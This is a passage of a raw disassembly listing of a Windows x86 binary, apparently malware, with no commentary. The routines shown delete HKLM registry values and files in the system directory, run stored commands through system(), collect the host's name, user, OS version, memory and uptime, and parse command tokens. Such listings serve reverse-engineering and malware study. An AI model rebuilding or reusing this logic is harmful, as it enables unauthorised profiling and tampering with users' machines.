call ebp ; RegDeleteValueA lea ecx, [esp+230h+var_21C] mov [esp+230h+var_BC], bl call sub_13AB626 mov edx, [esp+230h+var_220] push edx call edi ; RegCloseKey push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 48h push 49h push 12h push 45h push 45h lea eax, [esp+264h+var_220] push 9 push eax call sub_13ABDB5 add esp, 38h mov ecx, eax mov [esp+234h+var_C0], 25h call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+234h+var_220] mov [esp+234h+var_C0], bl call sub_13AB626 push 104h push 104h lea ecx, [esp+23Ch+var_1F0] call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 48h push 49h push 12h push 45h push 45h lea ecx, [esp+270h+var_22C] push 9 push ecx call sub_13ABDB5 add esp, 38h mov ecx, eax mov [esp+240h+var_CC], 26h call sub_13ABBE4 push eax lea ecx, [esp+244h+var_1FC] call sub_13ABBE4 push eax lea edx, [esp+248h+var_1FC] push offset dword_443684 push edx call sub_13AB42D add esp, 10h lea ecx, [esp+240h+var_22C] mov [esp+240h+var_CC], bl call sub_13AB626 lea ecx, [esp+240h+var_1FC] call sub_13ABA81 push eax call DeleteFileA ; DeleteFileA lea eax, [esp+244h+var_234] lea ecx, [esp+244h+var_1CC] push eax push 0F003Fh push 0 call sub_13ABBE4 push eax push 80000002h call esi ; RegOpenKeyExA push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea ecx, [esp+27Ch+var_244] push 13h push ecx call sub_13ABDB5 add esp, 2Ch mov ecx, eax mov [esp+258h+var_E4], 27h call sub_13ABBE4 mov edx, [esp+258h+var_248] push eax push edx call ebp ; RegDeleteValueA lea ecx, [esp+260h+var_24C] mov [esp+260h+var_EC], bl call sub_13AB626 mov eax, [esp+260h+var_250] push eax call edi ; RegCloseKey push 0 push 5 push 18h push 5 push 4Eh push 13h push 19h push 13h push 0Eh push 9 lea ecx, [esp+28Ch+var_250] push 17h push ecx call sub_13ABDB5 add esp, 30h mov ecx, eax mov [esp+264h+var_F0], 28h call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+264h+var_250] mov [esp+264h+var_F0], bl call sub_13AB626 push 104h push 104h lea ecx, [esp+26Ch+var_220] call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA push 0 push 5 push 18h push 5 push 4Eh push 13h push 19h push 13h push 0Eh push 9 lea edx, [esp+298h+var_25C] push 17h push edx call sub_13ABDB5 add esp, 30h mov ecx, eax mov [esp+270h+var_FC], 29h call sub_13ABBE4 push eax lea ecx, [esp+274h+var_22C] call sub_13ABBE4 push eax lea eax, [esp+278h+var_22C] push offset dword_443684 push eax call sub_13AB42D add esp, 10h lea ecx, [esp+270h+var_25C] mov [esp+270h+var_FC], bl call sub_13AB626 lea ecx, [esp+270h+var_22C] call sub_13ABA81 push eax call DeleteFileA ; DeleteFileA lea ecx, [esp+274h+var_264] push ecx push 0F003Fh push 0 lea ecx, [esp+280h+var_1FC] call sub_13ABBE4 push eax push 80000002h call esi ; RegOpenKeyExA push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 4 push 10h push 15h push 4 push 47h lea edx, [esp+2BCh+var_274] push 4 push edx call sub_13ABDB5 add esp, 3Ch mov ecx, eax mov [esp+288h+var_114], 2Ah call sub_13ABBE4 push eax mov eax, [esp+28Ch+var_278] push eax call ebp ; RegDeleteValueA lea ecx, [esp+290h+var_27C] mov [esp+290h+var_11C], bl call sub_13AB626 mov ecx, [esp+290h+var_280] push ecx call edi ; RegCloseKey push 0 push 5 push 18h push 5 push 4Eh push 5 push 0Ch push 7 push 1 push 5 push 2 lea edx, [esp+2C0h+var_280] push 2 push edx call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+294h+var_120], 2Bh call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+294h+var_280] mov [esp+294h+var_120], bl call sub_13AB626 push 104h push 104h lea ecx, [esp+29Ch+var_250] call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA push 0 push 5 push 18h push 5 push 4Eh push 5 push 0Ch push 7 push 1 push 5 push 2 lea eax, [esp+2CCh+var_28C] push 2 push eax call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+2A0h+var_12C], 2Ch call sub_13ABBE4 push eax lea ecx, [esp+2A4h+var_25C] call sub_13ABBE4 push eax lea ecx, [esp+2A8h+var_25C] push offset dword_443684 push ecx call sub_13AB42D add esp, 10h lea ecx, [esp+2A0h+var_28C] mov [esp+2A0h+var_12C], bl call sub_13AB626 lea ecx, [esp+2A0h+var_25C] call sub_13ABA81 push eax call DeleteFileA ; DeleteFileA lea edx, [esp+2A4h+var_294] lea ecx, [esp+2A4h+var_22C] push edx push 0F003Fh push 0 call sub_13ABBE4 push eax push 80000002h call esi ; RegOpenKeyExA push 0 push 0Eh push 0Fh push 27h push 0Bh push 13h push 1 lea eax, [esp+2D4h+var_2A4] push 2Eh push eax call sub_13ABDB5 add esp, 24h mov ecx, eax mov byte ptr [esp+2B8h+var_144], 2Dh call sub_13ABBE4 mov ecx, [esp+2B8h+var_2A8] push eax push ecx call ebp ; RegDeleteValueA lea ecx, [esp+2C0h+var_2AC] mov [esp+2C0h+var_14C], bl call sub_13AB626 mov edx, [esp+2C0h+var_2B0] push edx call edi ; RegCloseKey push 0 push 5 push 18h push 5 push 4Eh push 0Eh push 0Fh push 0Dh push 0Bh push 13h push 1 lea eax, [esp+2F0h+var_2B0] push 14h push eax call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+2C4h+var_150], 2Eh call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+2C4h+var_2B0] mov [esp+2C4h+var_150], bl call sub_13AB626 push 104h push 104h lea ecx, [esp+2CCh+var_280] call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA push 0 push 5 push 18h push 5 push 4Eh push 0Eh push 0Fh push 0Dh push 0Bh push 13h push 1 lea ecx, [esp+2FCh+var_2BC] push 14h push ecx call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+2D0h+var_15C], 2Fh call sub_13ABBE4 push eax lea ecx, [esp+2D4h+var_28C] call sub_13ABBE4 push eax push offset dword_443684 lea edx, [esp+2DCh+var_28C] push edx call sub_13AB42D add esp, 10h lea ecx, [esp+2D0h+var_2BC] mov [esp+2D0h+var_15C], bl call sub_13AB626 lea ecx, [esp+2D0h+var_28C] call sub_13ABA81 push eax call DeleteFileA ; DeleteFileA lea eax, [esp+2D4h+var_2C4] lea ecx, [esp+2D4h+var_25C] push eax push 0F003Fh push 0 call sub_13ABBE4 push eax push 80000002h call esi ; RegOpenKeyExA push 0 push 12h push 5 push 12h push 0Fh push 0Ch push 10h push 18h lea ecx, [esp+308h+var_258] push 1Fh push ecx call sub_13ABDB5 add esp, 28h mov ecx, eax mov [esp+2E8h+var_174], 30h call sub_13ABBE4 mov edx, [esp+2E8h+var_2D8] push eax push edx call ebp ; RegDeleteValueA lea ecx, [esp+2F0h+var_260] mov [esp+2F0h+var_17C], bl call sub_13AB626 mov eax, [esp+2F0h+var_2E0] push eax call edi ; RegCloseKey mov esi, system push offset dword_443668 call esi ; system push offset dword_44364C call esi ; system push offset dword_44362C call esi ; system push offset dword_443608 call esi ; system add esp, 10h lea ecx, [esp+2F4h+var_2B0] mov byte ptr [esp+2F4h+var_180], 1Dh call sub_13AB626 lea ecx, [esp+2F4h+var_27C] mov [esp+2F4h+var_180], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp loc_13AFA75 sub_13AF070 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 550h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B0AE0 proc near ; CODE XREF: sub_13ABD4Cj var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 43856Fh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_13AB824 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_13B0B31 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_13AC4F4 mov [esp+3Ch+var_2C], ebp jmp loc_13B0BD7 ; --------------------------------------------------------------------------- loc_13B0B31: ; CODE XREF: sub_13B0AE0+3Aj call GetTickCount ; GetTickCount mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_13B0BC3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset dword_44370C push edx call sub_13AB42D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_13AB8C9 jmp short loc_13B0BD3 ; --------------------------------------------------------------------------- loc_13B0BC3: ; CODE XREF: sub_13B0AE0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F80 mov ecx, esi call sub_13ABC61 loc_13B0BD3: ; CODE XREF: sub_13B0AE0+E1j mov [esp+3Ch+var_2C], ebp loc_13B0BD7: ; CODE XREF: sub_13B0AE0+4Cj lea ecx, [esp+3Ch+var_28] mov [esp+3Ch+var_8], bl call sub_13AB626 mov ecx, [esp+3Ch+var_10] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_13B0AE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B0C50 proc near ; CODE XREF: sub_13ABA68j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push esi mov esi, [esp+8+arg_0] push offset byte_446F80 mov ecx, esi mov [esp+0Ch+var_4], 0 call sub_13ABC61 mov eax, esi pop esi pop ecx retn 4 sub_13B0C50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B0C90 proc near ; CODE XREF: sub_13AC33Cj var_198 = dword ptr -198h var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = byte ptr -17Ch var_170 = byte ptr -170h var_160 = byte ptr -160h var_158 = byte ptr -158h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = byte ptr -138h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_108 = dword ptr -108h var_104 = byte ptr -104h var_84 = byte ptr -84h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 4385B5h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_13AB824 mov [esp+1A4h+var_4], 1 call GetTickCount ; GetTickCount mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+190h+var_138] push edx mov dword ptr [esp+194h+var_17C], 10h shr esi, 6 mov [esp+194h+var_180], 15h call GlobalMemoryStatus ; GlobalMemoryStatus lea eax, [esp+190h+var_118] mov [esp+190h+var_118], 94h push eax call GetVersionExA ; GetVersionExA mov eax, [esp+190h+var_114] cmp eax, 4 jnz short loc_13B0D5E mov eax, [esp+190h+var_110] test eax, eax jnz short loc_13B0D46 mov eax, [esp+190h+var_108] cmp eax, 1 jnz short loc_13B0D36 mov ebp, offset dword_4437C8 jmp loc_13B0DD1 ; --------------------------------------------------------------------------- loc_13B0D36: ; CODE XREF: sub_13B0C90+9Aj cmp eax, 2 jnz loc_13B0DCD mov ebp, offset dword_4437C4 jmp short loc_13B0D9A ; --------------------------------------------------------------------------- loc_13B0D46: ; CODE XREF: sub_13B0C90+8Ej cmp eax, 0Ah jnz short loc_13B0D52 mov ebp, offset dword_4437C0 jmp short loc_13B0D90 ; --------------------------------------------------------------------------- loc_13B0D52: ; CODE XREF: sub_13B0C90+B9j cmp eax, 5Ah jnz short loc_13B0D8B mov ebp, offset dword_4437BC jmp short loc_13B0D90 ; --------------------------------------------------------------------------- loc_13B0D5E: ; CODE XREF: sub_13B0C90+83j cmp eax, 5 jnz short loc_13B0D8B mov eax, [esp+190h+var_110] test eax, eax jnz short loc_13B0D75 mov ebp, offset dword_4437B4 jmp short loc_13B0D90 ; --------------------------------------------------------------------------- loc_13B0D75: ; CODE XREF: sub_13B0C90+DCj cmp eax, 1 jnz short loc_13B0D81 mov ebp, offset dword_4437B0 jmp short loc_13B0D90 ; --------------------------------------------------------------------------- loc_13B0D81: ; CODE XREF: sub_13B0C90+E8j cmp eax, 2 mov ebp, offset dword_4437A8 jz short loc_13B0D90 loc_13B0D8B: ; CODE XREF: sub_13B0C90+C5j ; sub_13B0C90+D1j mov ebp, offset dword_4437A4 loc_13B0D90: ; CODE XREF: sub_13B0C90+C0j ; sub_13B0C90+CCj ... cmp [esp+190h+var_108], 2 jnz short loc_13B0DD1 loc_13B0D9A: ; CODE XREF: sub_13B0C90+B4j mov al, [esp+190h+var_104] test al, al jz short loc_13B0DD1 lea ecx, [esp+190h+var_104] lea edx, [esp+190h+var_84] push ecx push ebp push offset dword_443798 push edx call wsprintfA ; wsprintfA add esp, 10h lea ebp, [esp+190h+var_84] jmp short loc_13B0DD1 ; --------------------------------------------------------------------------- loc_13B0DCD: ; CODE XREF: sub_13B0C90+A9j mov ebp, [esp+190h+var_184] loc_13B0DD1: ; CODE XREF: sub_13B0C90+A1j ; sub_13B0C90+108j ... lea eax, [esp+190h+var_17C] lea ecx, [esp+190h+var_160] push eax push ecx call GetComputerNameA ; GetComputerNameA lea edx, [esp+198h+var_188] lea eax, [esp+198h+var_158] push edx push eax call GetUserNameA ; GetUserNameA mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A0h+var_170] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A0h+var_160] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1ACh+var_11C] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B0h+var_124] push edx mov edx, [esp+1B4h+var_120] push ecx mov ecx, [esp+1B8h+var_140] push edx push eax mov eax, offset byte_804021 push ebp mul ecx sub ecx, edx mov eax, offset byte_804021 shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1C8h+var_13C] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_13ABBF3 push eax lea ecx, [esp+1D0h+var_188] push offset dword_443720 push ecx call sub_13AB42D mov esi, [esp+1D8h+arg_4] add esp, 38h lea edx, [esp+1A0h+var_188] push edx mov ecx, esi call sub_13AB8C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_13AB626 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_13B0C90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B0FA0 proc near ; CODE XREF: sub_13AB9DCj mov eax, ecx mov dword ptr [eax], offset dword_43E008 mov dword ptr [eax+110h], 0 retn sub_13B0FA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B0FD0 proc near ; CODE XREF: sub_13AC38Cj sub_13AC409j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB83D test [esp+4+arg_0], 1 jz short loc_13B0FE8 push esi call near ptr 13E0C02h add esp, 4 loc_13B0FE8: ; CODE XREF: sub_13B0FD0+Dj mov eax, esi pop esi retn 4 sub_13B0FD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1000 proc near ; CODE XREF: sub_13AB83Dj mov dword ptr [ecx], offset dword_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_13B1017 push ecx call near ptr 13E0C02h pop ecx locret_13B1017: ; CODE XREF: sub_13B1000+Ej retn sub_13B1000 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1030 proc near ; CODE XREF: sub_13AB784j var_47C = byte ptr -47Ch var_46C = byte ptr -46Ch var_458 = byte ptr -458h var_454 = byte ptr -454h var_44C = byte ptr -44Ch var_440 = byte ptr -440h var_43C = byte ptr -43Ch var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 4385F1h push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_13B1061 push eax call near ptr 13E0C02h add esp, 4 loc_13B1061: ; CODE XREF: sub_13B1030+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call near ptr 13E0C1Ah mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call near ptr 13E0C1Ah mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, strtok mov eax, ecx mov esi, edi mov edi, edx push offset dword_443600 shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+464h+var_40C], eax lea esi, [esp+464h+var_408] mov edi, 0FFh loc_13B1112: ; CODE XREF: sub_13B1030+F4j push offset dword_443600 push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_13B1112 mov eax, [esp+464h+var_40C] xor ecx, ecx cmp eax, ecx jz loc_13B1318 lea ebp, [esp+464h+var_40C] loc_13B1138: ; CODE XREF: sub_13B1030+2E0j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_13B1142: ; CODE XREF: sub_13B1030+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13B1166 test cl, cl jz short loc_13B1162 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13B1166 add eax, 2 add esi, 2 test cl, cl jnz short loc_13B1142 loc_13B1162: ; CODE XREF: sub_13B1030+11Cj xor eax, eax jmp short loc_13B116B ; --------------------------------------------------------------------------- loc_13B1166: ; CODE XREF: sub_13B1030+118j ; sub_13B1030+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13B116B: ; CODE XREF: sub_13B1030+134j test eax, eax jz loc_13B1308 mov esi, offset dword_4437E0 mov eax, edi loc_13B117A: ; CODE XREF: sub_13B1030+168j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13B119E test cl, cl jz short loc_13B119A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13B119E add eax, 2 add esi, 2 test cl, cl jnz short loc_13B117A loc_13B119A: ; CODE XREF: sub_13B1030+154j xor eax, eax jmp short loc_13B11A3 ; --------------------------------------------------------------------------- loc_13B119E: ; CODE XREF: sub_13B1030+150j ; sub_13B1030+15Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_13B11A3: ; CODE XREF: sub_13B1030+16Cj test eax, eax jnz short loc_13B11B0 mov byte ptr [ebx+9], 1 jmp loc_13B1308 ; --------------------------------------------------------------------------- loc_13B11B0: ; CODE XREF: sub_13B1030+175j mov esi, offset dword_4437D4 mov eax, edi loc_13B11B7: ; CODE XREF: sub_13B1030+1A5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13B11DB test cl, cl jz short loc_13B11D7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13B11DB add eax, 2 add esi, 2 test cl, cl jnz short loc_13B11B7 loc_13B11D7: ; CODE XREF: sub_13B1030+191j xor eax, eax jmp short loc_13B11E0 ; --------------------------------------------------------------------------- loc_13B11DB: ; CODE XREF: sub_13B1030+18Dj ; sub_13B1030+19Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13B11E0: ; CODE XREF: sub_13B1030+1A9j test eax, eax jnz short loc_13B11ED mov byte ptr [ebx+0Ah], 1 jmp loc_13B1308 ; --------------------------------------------------------------------------- loc_13B11ED: ; CODE XREF: sub_13B1030+1B2j mov esi, offset dword_4437CC mov eax, edi loc_13B11F4: ; CODE XREF: sub_13B1030+1E2j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13B1218 test cl, cl jz short loc_13B1214 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13B1218 add eax, 2 add esi, 2 test cl, cl jnz short loc_13B11F4 loc_13B1214: ; CODE XREF: sub_13B1030+1CEj xor eax, eax jmp short loc_13B121D ; --------------------------------------------------------------------------- loc_13B1218: ; CODE XREF: sub_13B1030+1CAj ; sub_13B1030+1D8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13B121D: ; CODE XREF: sub_13B1030+1E6j test eax, eax jnz loc_13B1308 lea ecx, [esp+464h+var_454] call sub_13AB824 mov eax, [esp+464h+arg_0] push offset dword_4437CC push eax mov [esp+46Ch+var_4], 0 call strstr ; strstr add esp, 8 test eax, eax jz loc_13B12F4 push eax lea ecx, [esp+468h+var_454] call sub_13AB9D7 push 1 push offset dword_443600 lea ecx, [esp+470h+var_440] push 1 push ecx lea ecx, [esp+478h+var_458] call sub_13AB5EA push offset byte_446F80 mov ecx, eax mov [esp+47Ch+var_18], 1 call sub_13AB6EE lea ecx, [esp+47Ch+var_454] mov esi, eax mov [esp+47Ch+var_1C], 0 call sub_13AB626 test esi, esi jz short loc_13B12F4 push 1 push offset dword_443600 lea edx, [esp+484h+var_43C] push 1 push edx lea ecx, [esp+48Ch+var_46C] mov byte ptr [ebx+0Bh], 1 call sub_13AB5EA push 104h mov ecx, eax mov byte ptr [esp+490h+var_2C], 2 call sub_13ABA81 push eax lea eax, [ebx+0Ch] push eax call strncpy ; strncpy add esp, 0Ch lea ecx, [esp+48Ch+var_44C] mov byte ptr [esp+48Ch+var_2C], 0 call sub_13AB626 add ebp, 4 loc_13B12F4: ; CODE XREF: sub_13B1030+221j ; sub_13B1030+271j lea ecx, [esp+48Ch+var_47C] mov [esp+48Ch+var_2C], 0FFFFFFFFh call sub_13AB626 loc_13B1308: ; CODE XREF: sub_13B1030+13Dj ; sub_13B1030+17Bj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_13B1138 xor ecx, ecx loc_13B1318: ; CODE XREF: sub_13B1030+FEj mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_13B1325 mov [ebx+5], ecx loc_13B1325: ; CODE XREF: sub_13B1030+2F0j cmp [ebx+5], ecx jnz short loc_13B1335 test al, al jz short loc_13B1335 mov dword ptr [ebx+5], 0Ah loc_13B1335: ; CODE XREF: sub_13B1030+2F8j ; sub_13B1030+2FCj mov [ebx+5], ecx mov ecx, [esp+480h+var_34] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 sub_13B1030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1430 proc near ; CODE XREF: sub_13AC49Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43861Bh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_13AB964 mov ecx, [esp+1Ch+var_10] mov dword ptr [esi], offset dword_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_13B1430 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B14B0 proc near ; CODE XREF: sub_13AB991j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_13AB9D7 mov edx, [esp+8] mov ecx, [esp+8+arg_4] lea eax, [esp+8] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_13AB8E2 pop esi retn 0Ch sub_13B14B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B14F0 proc near ; CODE XREF: sub_13ABEF0j var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_13ABEC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_13ABA22 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_13AC5BC push eax lea ecx, [esp+18h+var_C] call sub_13ABC3E test al, al jz short loc_13B156B mov edi, [esp+18h+var_4] loc_13B1533: ; CODE XREF: sub_13B14F0+79j push edi lea ecx, [esp+1Ch+var_10] call sub_13ABB3F mov ecx, [eax] call sub_13AB6EE test eax, eax lea ecx, [esp+1Ch+var_14] jz short loc_13B1575 call sub_13AC30A lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_13AC5BC push eax lea ecx, [esp+24h+var_18] call sub_13ABC3E test al, al jnz short loc_13B1533 loc_13B156B: ; CODE XREF: sub_13B14F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_13B1575: ; CODE XREF: sub_13B14F0+5Aj call sub_13ABB3F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_13B14F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B15C0 proc near ; CODE XREF: sub_13AC5F8j xor al, al retn 4 sub_13B15C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B15E0 proc near ; CODE XREF: sub_13AB964j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AB59F mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13B15E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1620 proc near ; CODE XREF: sub_13ABA22j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13ABE82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC585 mov eax, esi pop esi retn 4 sub_13B1620 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1660 proc near ; CODE XREF: sub_13AC5BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC585 mov eax, esi pop esi retn 4 sub_13B1660 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1690 proc near ; CODE XREF: sub_13AB8E2j var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AC5BC mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13AB7B6 